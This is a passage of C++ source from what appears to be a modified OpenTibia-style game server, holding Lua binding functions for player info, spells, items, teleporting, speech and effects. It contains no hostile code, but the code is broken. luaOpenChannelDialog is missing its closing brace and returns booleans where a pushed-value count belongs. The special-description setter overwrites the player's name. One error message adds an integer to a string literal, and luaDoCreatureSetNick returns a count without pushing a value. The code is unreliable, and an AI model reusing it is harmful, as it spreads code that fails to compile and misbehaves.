    {"getDataString", LuaScriptInterface::luaResultGetDataString},

    //result.getDataStream(resId, s, length)
    {"getDataStream", LuaScriptInterface::luaResultGetDataStream},

    //result.next(resId)
    {"next", LuaScriptInterface::luaResultNext},

    //result.free(resId)
    {"free", LuaScriptInterface::luaResultFree},

    {NULL,NULL}
};

const luaL_Reg LuaScriptInterface::luaBitTable[] =
{
    //{"cast", LuaScriptInterface::luaBitCast},
    {"bnot", LuaScriptInterface::luaBitNot},
    {"band", LuaScriptInterface::luaBitAnd},
    {"bor", LuaScriptInterface::luaBitOr},
    {"bxor", LuaScriptInterface::luaBitXor},
    {"lshift", LuaScriptInterface::luaBitLeftShift},
    {"rshift", LuaScriptInterface::luaBitRightShift},
    //{"arshift", LuaScriptInterface::luaBitArithmeticalRightShift},

    //{"ucast", LuaScriptInterface::luaBitUCast},
    {"ubnot", LuaScriptInterface::luaBitUNot},
    {"uband", LuaScriptInterface::luaBitUAnd},
    {"ubor", LuaScriptInterface::luaBitUOr},
    {"ubxor", LuaScriptInterface::luaBitUXor},
    {"ulshift", LuaScriptInterface::luaBitULeftShift},
    {"urshift", LuaScriptInterface::luaBitURightShift},
    //{"uarshift", LuaScriptInterface::luaBitUArithmeticalRightShift},

    {NULL,NULL}
};

const luaL_Reg LuaScriptInterface::luaStdTable[] =
{
    {"cout", LuaScriptInterface::luaStdCout},
    {"cerr", LuaScriptInterface::luaStdCerr},
    {"clog", LuaScriptInterface::luaStdClog},

    {"md5", LuaScriptInterface::luaStdMD5},
    {"sha1", LuaScriptInterface::luaStdSHA1},

    {NULL, NULL}
};

int32_t LuaScriptInterface::luaDoPlayerOpenChannel(lua_State* L)
{
    //doPlayerOpenChannel(cid, channelId)
    uint32_t channelId = popNumber(L);
    uint32_t cid = popNumber(L);
    
    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(cid);
    if(player)
        lua_pushnumber(L, g_game.playerOpenChannel(cid, channelId) ? true : false);
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushnumber(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::internalGetPlayerInfo(lua_State* L, PlayerInfo_t info)
{
    ScriptEnviroment* env = getEnv();
    const Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        std::stringstream s;
        s << getError(LUA_ERROR_PLAYER_NOT_FOUND) << " when requesting player info #" << info;
        errorEx(s.str());

        lua_pushboolean(L, false);
        return 1;
    }

    int64_t value = 0;
    Position pos;
    switch(info)
    {
        case PlayerInfoNameDescription:
            lua_pushstring(L, player->getNameDescription().c_str());
            return 1;
        case PlayerInfoSpecialDescription:
            lua_pushstring(L, player->getSpecialDescription().c_str());
            return 1;
        case PlayerInfoAccess:
            value = player->getAccess();
            break;
        case PlayerInfoGhostAccess:
            value = player->getGhostAccess();
            break;
        case PlayerInfoLevel:
            value = player->getLevel();
            break;
        case PlayerInfoExperience:
            value = player->getExperience();
            break;
        case PlayerInfoManaSpent:
            value = player->getSpentMana();
            break;
        case PlayerInfoTown:
            value = player->getTown();
            break;
        case PlayerInfoPromotionLevel:
            value = player->getPromotionLevel();
            break;
        case PlayerInfoGUID:
            value = player->getGUID();
            break;
        case PlayerInfoAccountId:
            value = player->getAccount();
            break;
        case PlayerInfoAccount:
            lua_pushstring(L, player->getAccountName().c_str());
            return 1;
        case PlayerInfoPremiumDays:
            value = player->getPremiumDays();
            break;
        case PlayerInfoFood:
        {
            if(Condition* condition = player->getCondition(CONDITION_REGENERATION, CONDITIONID_DEFAULT))
                value = condition->getTicks() / 1000;

            break;
        }
        case PlayerInfoVocation:
            value = player->getVocationId();
            break;
        case PlayerInfoSoul:
            value = player->getSoul();
            break;
        case PlayerInfoFreeCap:
            value = (int64_t)player->getFreeCapacity();
            break;
        case PlayerInfoGuildId:
            value = player->getGuildId();
            break;
        case PlayerInfoGuildName:
            lua_pushstring(L, player->getGuildName().c_str());
            return 1;
        case PlayerInfoGuildRankId:
            value = player->getRankId();
            break;
        case PlayerInfoGuildRank:
            lua_pushstring(L, player->getRankName().c_str());
            return 1;
        case PlayerInfoGuildLevel:
            value = player->getGuildLevel();
            break;
        case PlayerInfoGuildNick:
            lua_pushstring(L, player->getGuildNick().c_str());
            return 1;
        case PlayerInfoGroupId:
            value = player->getGroupId();
            break;
        case PlayerInfoBalance:
            value = (g_config.getBool(ConfigManager::BANK_SYSTEM) ? player->balance : 0);
            break;
        case PlayerInfoStamina:
            value = player->getStaminaMinutes();
            break;
        case PlayerInfoLossSkill:
            lua_pushboolean(L, player->getLossSkill());
            return 1;
        case PlayerInfoMarriage:
            value = player->marriage;
            break;
        case PlayerInfoPzLock:
            lua_pushboolean(L, player->isPzLocked());
            return 1;
        case PlayerInfoSaving:
            lua_pushboolean(L, player->isSaving());
            return 1;
        case PlayerInfoIp:
            value = player->getIP();
            break;
        case PlayerInfoSkullEnd:
            value = player->getSkullEnd();
            break;
        case PlayerInfoOutfitWindow:
            player->sendOutfitWindow();
            lua_pushboolean(L, true);
            return 1;
        case PlayerInfoIdleTime:
            value = player->getIdleTime();
            break;
        case PlayerInfoClient:
            lua_pushboolean(L, player->hasClient());
            return 1;
        case PlayerInfoLastLoad:
            value = player->getLastLoad();
            break;
        case PlayerInfoLastLogin:
            value = player->getLastLogin();
            break;
        case PlayerInfoAccountManager:
            value = player->accountManager;
            break;
        default:
            errorEx("Unknown player info #" + info);
            value = 0;
            break;
    }

    lua_pushnumber(L, value);
    return 1;
}

//getPlayer[Info](uid)
int32_t LuaScriptInterface::luaGetPlayerNameDescription(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoNameDescription);
}

int32_t LuaScriptInterface::luaGetPlayerSpecialDescription(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoSpecialDescription);
}

int32_t LuaScriptInterface::luaGetPlayerFood(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoFood);
}

int32_t LuaScriptInterface::luaGetPlayerAccess(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoAccess);
}

int32_t LuaScriptInterface::luaGetPlayerGhostAccess(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGhostAccess);
}

int32_t LuaScriptInterface::luaGetPlayerLevel(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoLevel);
}

int32_t LuaScriptInterface::luaGetPlayerExperience(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoExperience);
}

int32_t LuaScriptInterface::luaGetPlayerSpentMana(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoManaSpent);
}

int32_t LuaScriptInterface::luaGetPlayerVocation(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoVocation);
}

int32_t LuaScriptInterface::luaGetPlayerSoul(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoSoul);
}

int32_t LuaScriptInterface::luaGetPlayerFreeCap(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoFreeCap);
}

int32_t LuaScriptInterface::luaGetPlayerGuildId(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGuildId);
}

int32_t LuaScriptInterface::luaGetPlayerGuildName(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGuildName);
}

int32_t LuaScriptInterface::luaGetPlayerGuildRankId(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGuildRankId);
}

int32_t LuaScriptInterface::luaGetPlayerGuildRank(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGuildRank);
}

int32_t LuaScriptInterface::luaGetPlayerGuildLevel(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGuildLevel);
}

int32_t LuaScriptInterface::luaGetPlayerGuildNick(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGuildNick);
}

int32_t LuaScriptInterface::luaGetPlayerTown(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoTown);
}

int32_t LuaScriptInterface::luaGetPlayerPromotionLevel(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoPromotionLevel);
}

int32_t LuaScriptInterface::luaGetPlayerGroupId(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGroupId);
}

int32_t LuaScriptInterface::luaGetPlayerGUID(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoGUID);
}

int32_t LuaScriptInterface::luaGetPlayerAccountId(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoAccountId);
}

int32_t LuaScriptInterface::luaGetPlayerAccount(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoAccount);
}

int32_t LuaScriptInterface::luaGetPlayerPremiumDays(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoPremiumDays);
}

int32_t LuaScriptInterface::luaGetPlayerBalance(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoBalance);
}

int32_t LuaScriptInterface::luaGetPlayerStamina(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoStamina);
}

int32_t LuaScriptInterface::luaGetPlayerLossSkill(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoLossSkill);
}

int32_t LuaScriptInterface::luaGetPlayerPartner(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoMarriage);
}

int32_t LuaScriptInterface::luaIsPlayerPzLocked(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoPzLock);
}

int32_t LuaScriptInterface::luaIsPlayerSaving(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoSaving);
}

int32_t LuaScriptInterface::luaGetPlayerIp(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoIp);
}

int32_t LuaScriptInterface::luaGetPlayerSkullEnd(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoSkullEnd);
}

int32_t LuaScriptInterface::luaDoPlayerSendOutfitWindow(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoOutfitWindow);
}

int32_t LuaScriptInterface::luaGetPlayerIdleTime(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoIdleTime);
}

int32_t LuaScriptInterface::luaHasPlayerClient(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoClient);
}

int32_t LuaScriptInterface::luaGetPlayerLastLoad(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoLastLoad);
}

int32_t LuaScriptInterface::luaGetPlayerLastLogin(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoLastLogin);
}

int32_t LuaScriptInterface::luaGetPlayerAccountManager(lua_State* L)
{
    return internalGetPlayerInfo(L, PlayerInfoAccountManager);
}
//

int32_t LuaScriptInterface::luaGetPlayerSex(lua_State* L)
{
    //getPlayerSex(cid[, full = false])
    bool full = false;
    if(lua_gettop(L) > 1)
        full = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID((uint32_t)popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    else
        lua_pushnumber(L, player->getSex(full));

    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetNameDescription(lua_State* L)
{
    //doPlayerSetNameDescription(cid, description)
    std::string description = popString(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->nameDescription += description;
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}     
     
int32_t LuaScriptInterface::luaDoPlayerSetSpecialDescription(lua_State* L)
{
    //doPlayerSetSpecialDescription(cid, description)
    std::string description = popString(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->name = (description);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerMagLevel(lua_State* L)
{
    //getPlayerMagLevel(cid[, ignoreBuffs = false])
    bool ignoreBuffs = false;
    if(lua_gettop(L) > 1)
        ignoreBuffs = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushnumber(L, (ignoreBuffs ? player->magLevel : player->getMagicLevel()));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerRequiredMana(lua_State* L)
{
    //getPlayerRequiredMana(cid, magicLevel)
    uint32_t magLevel = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushnumber(L, player->vocation->getReqMana(magLevel));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerRequiredSkillTries(lua_State* L)
{
    //getPlayerRequiredSkillTries(cid, skillId, skillLevel)
    int32_t sLevel = popNumber(L), sId = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushnumber(L, player->vocation->getReqSkillTries(sId, sLevel));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerFlagValue(lua_State* L)
{
    //getPlayerFlagValue(cid, flag)
    uint32_t index = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(index < PlayerFlag_LastFlag)
            lua_pushboolean(L, player->hasFlag((PlayerFlags)index));
        else
        {
            std::stringstream ss;
            ss << index;
            errorEx("No valid flag index - " + ss.str());
            lua_pushboolean(L, false);
        }
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerCustomFlagValue(lua_State* L)
{
    //getPlayerCustomFlagValue(cid, flag)
    uint32_t index = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(index < PlayerCustomFlag_LastFlag)
            lua_pushboolean(L, player->hasCustomFlag((PlayerCustomFlags)index));
        else
        {
            std::stringstream ss;
            ss << index;
            errorEx("No valid flag index - " + ss.str());
            lua_pushboolean(L, false);
        }
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerLearnInstantSpell(lua_State* L)
{
    //doPlayerLearnInstantSpell(cid, name)
    std::string spellName = popString(L);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    InstantSpell* spell = g_spells->getInstantSpellByName(spellName);
    if(!spell)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    player->learnInstantSpell(spell->getName());
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerUnlearnInstantSpell(lua_State* L)
{
    //doPlayerUnlearnInstantSpell(cid, name)
    std::string spellName = popString(L);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    InstantSpell* spell = g_spells->getInstantSpellByName(spellName);
    if(!spell)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    player->unlearnInstantSpell(spell->getName());
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerLearnedInstantSpell(lua_State* L)
{
    //getPlayerLearnedInstantSpell(cid, name)
    std::string spellName = popString(L);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    InstantSpell* spell = g_spells->getInstantSpellByName(spellName);
    if(!spell)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushboolean(L, player->hasLearnedInstantSpell(spellName));
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerInstantSpellCount(lua_State* L)
{
    //getPlayerInstantSpellCount(cid)
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushnumber(L, g_spells->getInstantSpellCount(player));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerInstantSpellInfo(lua_State* L)
{
    //getPlayerInstantSpellInfo(cid, index)
    uint32_t index = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    InstantSpell* spell = g_spells->getInstantSpellByIndex(player, index);
    if(!spell)
    {
        errorEx(getError(LUA_ERROR_SPELL_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    setField(L, "name", spell->getName());
    setField(L, "words", spell->getWords());
    setField(L, "level", spell->getLevel());
    setField(L, "mlevel", spell->getMagicLevel());
    setField(L, "mana", spell->getManaCost(player));
    setField(L, "manapercent", spell->getManaPercent());
    return 1;
}

int32_t LuaScriptInterface::luaGetInstantSpellInfo(lua_State* L)
{
    //getInstantSpellInfo(name)
    InstantSpell* spell = g_spells->getInstantSpellByName(popString(L));
    if(!spell)
    {
        errorEx(getError(LUA_ERROR_SPELL_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_newtable(L);
    setField(L, "name", spell->getName());
    setField(L, "words", spell->getWords());
    setField(L, "level", spell->getLevel());
    setField(L, "mlevel", spell->getMagicLevel());
    setField(L, "mana", spell->getManaCost(NULL));
    setField(L, "manapercent", spell->getManaPercent());
    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveItem(lua_State* L)
{
    //doRemoveItem(uid[, count])
    int32_t count = -1;
    if(lua_gettop(L) > 1)
        count = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Item* item = env->getItemByUID(popNumber(L));
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(g_game.internalRemoveItem(NULL, item, count) != RET_NOERROR)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerRemoveItem(lua_State* L)
{
    //doPlayerRemoveItem(cid, itemid, count[, subType])
    int32_t subType = -1;
    if(lua_gettop(L) > 3)
        subType = popNumber(L);

    uint32_t count = popNumber(L);
    uint16_t itemId = (uint16_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushboolean(L, g_game.removeItemOfType(player, itemId, count, subType));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSetNick(lua_State* L)
{
    //doCreatureSetNick(cid, nick)
    ScriptEnviroment* env = getEnv();
    std::string nick = popString(L);
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(creature)
    {    
        SpectatorVec list;
        g_game.getSpectators(list, creature->getPosition());  
        Player* player = NULL;
        creature->Nick = nick;
         for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
        {
           if(player = (*it)->getPlayer())
               {
                   player->sendCreatureNick(creature);
                   break;
               }
        }
    }else{
        lua_pushnil(L);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoFeedPlayer(lua_State* L)
{
    //doFeedPlayer(cid, food)
    int32_t food = (int32_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->addDefaultRegeneration((food * 1000) * 3);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSendCancel(lua_State* L)
{
    //doPlayerSendCancel(cid, text)
    std::string text = popString(L);
    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->sendCancel(text);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoSendDefaultCancel(lua_State* L)
{
    //doPlayerSendDefaultCancel(cid, ReturnValue)
    ReturnValue ret = (ReturnValue)popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->sendCancelMessage(ret);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetSearchString(lua_State* L)
{
    //getSearchString(fromPosition, toPosition[, fromIsCreature = false[, toIsCreature = false]])
    PositionEx toPos, fromPos;
    bool toIsCreature = false, fromIsCreature = false;

    int32_t params = lua_gettop(L);
    if(params > 3)
        toIsCreature = popNumber(L);

    if(params > 2)
        fromIsCreature = popNumber(L);

    popPosition(L, toPos);
    popPosition(L, fromPos);
    if(!toPos.x || !toPos.y || !fromPos.x || !fromPos.y)
    {
        errorEx("wrong position(s) specified.");
        lua_pushboolean(L, false);
    }
    else
        lua_pushstring(L, g_game.getSearchString(fromPos, toPos, fromIsCreature, toIsCreature).c_str());

    return 1;
}

int32_t LuaScriptInterface::luaGetClosestFreeTile(lua_State* L)
{
    //getClosestFreeTile(cid, targetPos[, extended = false[, ignoreHouse = true]])
    uint32_t params = lua_gettop(L);
    bool ignoreHouse = true, extended = false;
    if(params > 3)
        ignoreHouse = popNumber(L);

    if(params > 2)
        extended = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        Position newPos = g_game.getClosestFreeTile(creature, pos, extended, ignoreHouse);
        if(newPos.x != 0)
            pushPosition(L, newPos, 0);
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoTeleportThing(lua_State* L)
{
    //doTeleportThing(cid, newpos[, pushmove = TRUE])
    bool pushMove = true;
    if(lua_gettop(L) > 2)
        pushMove = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);

    ScriptEnviroment* env = getEnv();
    if(Thing* tmp = env->getThingByUID(popNumber(L)))
        lua_pushboolean(L, g_game.internalTeleport(tmp, pos, pushMove) == RET_NOERROR);
    else
    {
        errorEx(getError(LUA_ERROR_THING_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoTransformItem(lua_State* L)
{
    //doTransformItem(uid, newId[, count/subType])
    int32_t count = -1;
    if(lua_gettop(L) > 2)
        count = popNumber(L);

    uint16_t newId = popNumber(L);
    uint32_t uid = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Item* item = env->getItemByUID(uid);
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const ItemType& it = Item::items[newId];
    if(it.stackable && count > 100)
        count = 100;

    Item* newItem = g_game.transformItem(item, newId, count);
    if(item->isRemoved())
        env->removeThing(uid);

    if(newItem && newItem != item)
        env->insertThing(uid, newItem);

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSay(lua_State* L)
{
    //doCreatureSay(uid, text[, type = SPEAK_SAY[, ghost = false[, cid = 0[, pos]]]])
    uint32_t params = lua_gettop(L), cid = 0, uid = 0;
    PositionEx pos;
    if(params > 5)
        popPosition(L, pos);

    if(params > 4)
        cid = popNumber(L);

    bool ghost = false;
    if(params > 3)
        ghost = popNumber(L);

    SpeakClasses type = SPEAK_SAY;
    if(params > 2)
        type = (SpeakClasses)popNumber(L);

    std::string text = popString(L);

    uid = popNumber(L);
    if(params > 5 && (!pos.x || !pos.y))
    {
        errorEx("Invalid position specified.");
        lua_pushboolean(L, false);
        return 1;
    }

    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(uid);
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    SpectatorVec list;
    if(cid)
    {
        Creature* target = env->getCreatureByUID(cid);
        if(!target)
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }

        list.push_back(target);
    }

    if(params > 5)
        lua_pushboolean(L, g_game.internalCreatureSay(creature, type, text, ghost, &list, &pos));
    else
        lua_pushboolean(L, g_game.internalCreatureSay(creature, type, text, ghost, &list));

    return 1;
}

int32_t LuaScriptInterface::luaDoSendMagicEffect(lua_State* L)
{
    //doSendMagicEffect(pos, type[, player])
    ScriptEnviroment* env = getEnv();
    SpectatorVec list;
    if(lua_gettop(L) > 2)
    {
        if(Creature* creature = env->getCreatureByUID(popNumber(L)))
            list.push_back(creature);
    }

    uint32_t type = popNumber(L);
    PositionEx pos;

    popPosition(L, pos);
    if(pos.x == 0xFFFF)
        pos = env->getRealPos();

    if(!list.empty())
        g_game.addMagicEffect(list, pos, type);
    else
        g_game.addMagicEffect(pos, type);

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoSendDistanceShoot(lua_State* L)
{
    //doSendDistanceShoot(fromPos, toPos, type[, player])
    ScriptEnviroment* env = getEnv();
    SpectatorVec list;
    if(lua_gettop(L) > 3)
    {
        if(Creature* creature = env->getCreatureByUID(popNumber(L)))
            list.push_back(creature);
    }

    uint32_t type = popNumber(L);
    PositionEx toPos, fromPos;

    popPosition(L, toPos);
    popPosition(L, fromPos);
    if(fromPos.x == 0xFFFF)
        fromPos = env->getRealPos();

    if(toPos.x == 0xFFFF)
        toPos = env->getRealPos();

    if(!list.empty())
        g_game.addDistanceEffect(list, fromPos, toPos, type);
    else
        g_game.addDistanceEffect(fromPos, toPos, type);

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddSkillTry(lua_State* L)
{
    //doPlayerAddSkillTry(uid, skillid, n[, useMultiplier])
    bool multiplier = true;
    if(lua_gettop(L) > 3)
        multiplier = popNumber(L);

    uint32_t n = popNumber(L), skillid = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->addSkillAdvance((skills_t)skillid, n, multiplier);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureSpeakType(lua_State* L)
{
    //getCreatureSpeakType(uid)
    ScriptEnviroment* env = getEnv();
    if(const Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, (SpeakClasses)creature->getSpeakType());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSetSpeakType(lua_State* L)
{
    //doCreatureSetSpeakType(uid, type)
    SpeakClasses type = (SpeakClasses)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(type < SPEAK_CLASS_FIRST || type > SPEAK_CLASS_LAST)
        {
            errorEx("Invalid speak type!");
            lua_pushboolean(L, false);
            return 1;
        }

        creature->setSpeakType(type);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureHideHealth(lua_State* L)
{
    //getCreatureHideHealth(cid)
    ScriptEnviroment* env = getEnv();

    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, creature->getHideHealth());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaOpenChannelDialog(lua_State* L)
{
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
{
player->sendChannelsDialog();
    return true;
}
    else
    return false;

int32_t LuaScriptInterface::luaDoCreatureSetHideHealth(lua_State* L)
{
    //doCreatureSetHideHealth(cid, hide)
    bool hide = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        creature->setHideHealth(hide);
        g_game.addCreatureHealth(creature);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

